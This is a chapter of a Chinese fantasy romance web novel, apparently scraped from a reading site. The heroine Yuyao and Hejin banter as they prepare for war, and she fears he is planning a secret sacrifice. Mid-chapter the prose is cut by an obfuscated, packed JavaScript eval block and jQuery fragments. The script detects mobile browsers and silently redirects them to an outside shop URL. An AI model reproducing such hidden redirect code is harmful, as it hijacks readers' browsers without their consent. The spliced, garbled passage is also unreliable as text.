68. 烽鼓 3

作品:《终冬雪

    话本子上的故事来来回回就是那几套,看的多了羽瑶甚至觉得自己也能写,“要我说这人间的话本子也是一年不如一年了,不是英雄救美就是书生小姐,没新意…”


    “毕竟是话本子嘛,要是写两人整日里做饭带孩子也没人愿意看啊。”


    羽瑶叹了口气,不知是是看到了什么,她眉头紧锁,忍不住吐槽:“这写的都是些什么啊!纯心咒我呢吧!”


    纪鲢闻言抬头看她,“怎么了?在话本子上看见自个儿亲戚了?”


    “哪跟哪啊,你看看这句话。”说着羽瑶将手里的书递到纪鲢手里:“你看看这上面说的什么‘自古红颜多薄命’,这算什么?诅咒我们这些貌美如花的人啊!”


    纪鲢嘴角微抽,干笑两声:“你倒是对自己有自信啊…”


    “我不漂亮吗?不美吗?”,纪鲢被她突然凑过来的脸吓了一跳,对上羽瑶那双眼睛她心尖不可控的颤了两下。


    羽瑶何止是美,简直美的不像话,鹅蛋脸柳叶眉,鼻梁挺拔鼻尖精致,唇峰明显嘴角微微上扬,皮肤白皙没有一丝瑕疵,若不是她的那双杏眼,羽瑶应该就是话本子里常说的那种狐媚子长相。


    人间冬季寒冷,大雪纷扬,清晨的浓雾盖着敲不碎的寒冰。


    羽瑶想,等下次再去人界就不要设结界了,感受一下人间的秋寒和冬雪或许也是不错的…


    鹤瑾忙完回来已经是傍晚了,听启川说羽瑶和他们几个人都在青寻殿里,等鹤瑾到的时候宫女正帮羽瑶系披风,她手里还揣着一大把抢来的瓜子果干。


    鹤瑾见状问道:“今天怎么走这么早?”


    羽瑶将手里的东西一股脑的放进小宫女的围兜里,蹦跳着走到鹤瑾身边,她挽起鹤瑾的胳膊,撒娇似的说道:“这不是算准了你快回来了,正要去找你呢!”


    说完她停住步子,抬起脚尖凑到鹤瑾耳边小声道:“我在纪鲢那给你抓了不少果干,今日还听了好些八卦,待会讲给你听呀!”


    鹤瑾笑着点头,羽瑶在青寻宫里吃过晚膳了,就坐在鹤瑾身边看他吃,嘴里还念叨个不停。


    “我今天看了个话本子。鹤瑾,你什么时候能嫁给我啊?”


    鹤瑾刚吃进嘴的饭瞬间呛到了嗓子眼,他连连咳了几声,脸涨的通红,“怎么突然说到这个了?”


    “就是想到了,我今天看了一个话本子,书里的夫妻会一起用膳、逛庙会、看花灯,当然,这些事我们也都会做,但…”


    羽瑶顿了一瞬,“可书里还说,他们会一同起居、睡在一起,冬天下雪了会相互依偎着取暖,我想了一下,虽然挨冻很难受,但如果和你在一起的话也不是不能体验一下!”


    “书里说了,和伴侣依偎在一起共赏冬雪!听起来是不是很有意境?!”


    鹤瑾放下手里的碗筷,有些哭笑不得,他指尖轻点羽瑶的额头,语气无奈道:“你啊!整天想一出是一出的,冬天本来就冷的瑟瑟发抖,谁家会睡着觉开窗赏雪啊!真要是大冬天开着窗子睡觉,我保准你第二天早上就能喝上赤锦给你抓的药!”


    一听到喝药羽瑶瞬间老实了,可能是小时候喝的药太多了,羽瑶对喝药这件事表现出了极强的抗拒,用她的话来说就是‘就是看书和喝药之间选一个,我也一定会选择看书!’。


    她起身后退两步,连连摆手:“不了不了,阿姐前几天还给莫白哥抓药了,听说到现在都还没喝完呢!”


    鹤瑾笑着将人拉了回来,坐到自己身边:“赏雪可以,但要是依偎在被子里一起赏雪估计就不行了,你要是生病了青寻他们几个会打死我的!”


    “他们几个哪里打得过你…”话说到一半,在触及鹤瑾饱含柔情小意又略带委屈的眼神时,羽瑶很没出息的不再讲话了。


    鹤瑾这张脸就是对付她坏脾气的最强法器!


    青寻大婚过后,域庭由喜庆的的忙碌转变成紧凑的忙碌,每个人都在为即将到来的战争做准备。


    筹集兵力,谋划方向,操练军队,这一年他们几乎就没松懈过,有时累的连回域庭的时间都没有,找个地方一躺就能睡过去。


    四人基本上都睡在了各自管辖区域内的案房,鹤瑾和羽瑶这边也不轻松…


    一开始鹤瑾只叫她每日去校场练武,可羽瑶压根不是个安生的,练不了多久就到处跑,鹤瑾总能在接近晌午时看到书房的窗棂上冒出两个脑袋,一个是羽瑶,另一个是缘来。


    羽瑶将黑蛇名字中的原字改成了缘字,用她的话来说就是‘既然有了缘生、缘聚,那自然就缺个缘来啊,这样名字写出来一看就是一家人!’。


    羽瑶来了也不说话,就静静的坐在窗户下,有时候盯着他瞧,有时候也会拿本兵册看,次数多了后,鹤瑾就让启川带着羽瑶去熟悉域庭的精兵,算是给她找点事做。


    羽瑶代替了启川的工作,开始整日领兵操练,偶尔还会和赤锦他们吐槽一下遇到的奇葩事。


    “我的天!你们都不知道那个小兵身上有多臭!我光是站在他身边就受不了了!最重要的是,我千叮咛万嘱咐一定要他洗澡,可是第二天还是照旧!你们知道为什么吗?”


    听着莫白声嘶力竭的控诉,几人乐得合不上嘴,玄陵回道:“因为他没洗干净?”


    莫白双手交叠在胸前,比了一个大大的叉号,“错了!因为他是臭鼬族的!”,莫白放下手里的果干站起身微弯腰,抬起一只手挠头,学着那个小兵的样子,有模有样的演了起来。


    “神君!俺娘说了,这是俺们家族特有的体香,俺们一家子都是这个味,这不是挺香嘞?”


    莫白说完,几人顿时哈哈大笑,赤锦笑的肚子都开始隐隐作痛,她俯身缓解的时候却见羽瑶笑的有些心不在焉,她看了眼就收回了视线,几人继续热热闹闹的说话聊天,今天难得大家都能有空休息会儿,她不想打破这份来之不易的安宁。


    等到几人聊累了,青寻和纪鲢回了自己的寝殿,莫白拉着玄陵非要他看看自己新打的弓弩,赤锦这才得空把羽瑶拉到身边。


    她问:“怎么了?看你心不在焉的有一会儿了,练兵不顺?还是有人不服你?”,这些精兵到时候是要跟着他们上战场的,这个时候不磨合好,到时候上了战场后果不堪设想,再加上羽瑶现在带的这支军队是域庭的精兵,那都是各界之中万里挑一的好苗子,还真有可能不服羽瑶的管教。


    “阿姐你想哪去了,没有人不服我…”,有她嚣张跋扈、嗜杀成性的恶名在外谁敢不服她?


    “那你怎么愁眉苦脸的?”羽瑶是个心比碗口粗的性子,能让她愁眉苦脸的事一般都是死到临头了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16913440|187422||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    …


    也不对,就是死到临头了,羽瑶大概也只会说一句‘命中注定躲不掉’


    “和鹤瑾有关吧。”这些年她也琢磨出点规律了,能影响羽瑶心情的,八成也就只有鹤瑾了。


    “嗯…”


    “他怎么了?又忘了给你的树浇水?”


    闻言羽瑶有些气恼,“阿姐,我是那么蛮不讲理的人吗!”


    赤锦淡定的点了点头,“是!”


    “算了!我不愿意跟你说话!”,赤锦见羽瑶要开始闹脾气,赶忙将人拉住:“诶呀!跟你说着玩呢!别跟阿姐一般见识,说说!到底怎么了?”


    羽瑶拉着赤锦坐下,有一搭没一搭的拨弄桌上的果干,“其实也没什么,他看起来和平时没两样,就是…太忙了,忙的…不正常…”


    “嗯?这怎么说?”


    羽瑶转过头认真的看着赤锦道:“你难道没发现吗,他现在除了睡觉基本上都不在域庭,四界的兵力交由你们管理,域庭的兵力在我手里,他现在最重要的任务是部署啊!即便有什么事情需要疏通也不能整日不着家吧!况且我问他,他也只是说有事,从没说过具体是什么事!”


    鹤瑾和羽瑶在一起后可谓是要星星不给月亮,那叫一个百依百顺,连精兵都完全放在她手里了,能瞒着她的绝对不是什么小事!


    “他是神帝,临近宣战前期,忙点也正常吧。”


    羽瑶摇摇头:“我也不清楚,可…我…”


    心底总有种不好的预感…


    “想不明白就别想了,等打完仗再说吧,要是他真有对不起你的地方,阿姐就是豁出命去也会替你扒掉他层皮。苍山社稷面前,不提儿女情长。”


    羽瑶点头,她倒不是觉得鹤瑾会对不起自己,对于这段感情她是百分百信任的,她是怕…怕鹤瑾会背着她做出什么不可挽回的牺牲。


    救苍生,舍一人。


    这道理她懂,如果要被舍去的那个人是她自己,羽瑶也是十分乐意的,一条命换天下人,这比买卖怎么看都划算。可要是被舍掉的那个人是鹤瑾…


    她不愿意去设想那些坏的骇人的结果,只能不停的去憧憬战争结束后他们去人间的惬意生活,好像只有这样才能让她不安的心脏获得短暂的慰藉。


    鹤瑾回到寝殿的时候已经是后半夜了,他脱掉外袍倚靠在屏风外的小榻上,想起那个满目仇恶的男人,鹤瑾眉心紧皱只觉太阳穴都在突突的跳个不停。


    忽然,一双温热的手抚过鹤瑾眉间,他猛然睁眼,对上羽瑶带着担忧的眼眸,鹤瑾愕然道:“怎么还没睡?”


    羽瑶抚平鹤瑾的眉心,坐到他身边靠在他肩头回道:“在等你。你呢?怎么才回来?”


    鹤瑾蜷起臂弯,大手轻轻拍了拍羽瑶的脑袋:“等我做什么?我这段时间太忙了,等战争过后就好了。”


    “嗯…”她轻嗯一声便不再说话,羽瑶白天在校场累了一天,晚上翻来覆去睡不着就来了鹤瑾的寝宫,却不想鹤瑾根本就不在,她又在鹤瑾宫里等了大半宿,原本她是不困的,可感受到鹤瑾身上的气息后她竟又觉得心安,紧绷的神经放松下来,困意瞬间席卷而来。


    鹤瑾感受到身边人的呼吸逐渐平稳后,轻轻呼出口气,他偏过头和羽瑶的脑袋凑在一起,喃喃道:“再等一等…”